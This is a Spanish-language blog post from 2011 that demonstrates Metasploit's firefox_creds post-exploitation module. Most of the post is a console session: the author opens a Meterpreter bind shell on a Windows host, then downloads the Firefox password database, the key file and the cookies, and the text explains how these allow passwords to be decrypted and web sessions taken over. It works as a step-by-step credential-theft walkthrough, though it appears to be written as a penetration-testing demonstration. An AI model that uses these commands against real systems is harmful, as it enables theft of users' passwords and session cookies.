viernes, 4 de marzo de 2011

Obtención de contraseñas almacenadas en Firefox con Metasploit

Este módulo recolecta la credenciales que se encuentren almacenadas en el navegador Firefox si este se encuentra instalado en la máquina objetivo. Adicionalmente, descarga las cookies almacenadas, lo cual permite portencialmente establecer sesiones web válidas.

Firefox almacena las contraseñas en el archivo de base de datos signons.sqlite. También existe un archivo keys3.db el cual contiene la llave para decifrar estas contraseñas. En los casos donde la víctima no ha establecido una Contraseña Maestra, las contraseñas pueden ser decifradas fácilmente utilizando otras herramientas. Pero si Firefox tiene establecida una Contraseña Maestra, la única opción es utilizar ataques de fuerza bruta.


=[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > exit
fahrenheit:msf3 bannedit$ ruby msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.6.0-beta [core:3.6 api:1.0]
+ -- --=[ 647 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11875 updated today (2011.03.04)

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started bind handler
[*] Starting the payload handler...
msf exploit(handler) > 
[*] Sending stage (749056 bytes) to 192.168.0.104
[*] Meterpreter session 1 opened (192.168.0.108:57997 -> 192.168.0.104:4444) at 2011-03-04 16:12:36 -0500
msf exploit(handler) > use post/multi/gather/firefox_creds 
msf post(firefox_creds) > set SESSION 1
SESSION => 1
msf post(firefox_creds) > run
[*] We do not have SYSTEM checking bannedit account for Firefox
[*] Checking for Firefox directory in: C:\Users\bannedit\AppData\Roaming\Mozilla\
[*] Found Firefox installed
[*] Locating Firefox Profiles...

[+] Found Profile p5g3cgsg.default
[+] Downloading cookies.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading cookies.sqlite-journal file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading key3.db file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons.sqlite file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[+] Downloading signons3.txt file from: C:\Users\bannedit\AppData\Roaming\Mozilla\Firefox\Profiles\p5g3cgsg.default
[*] Post module execution completed

W00t!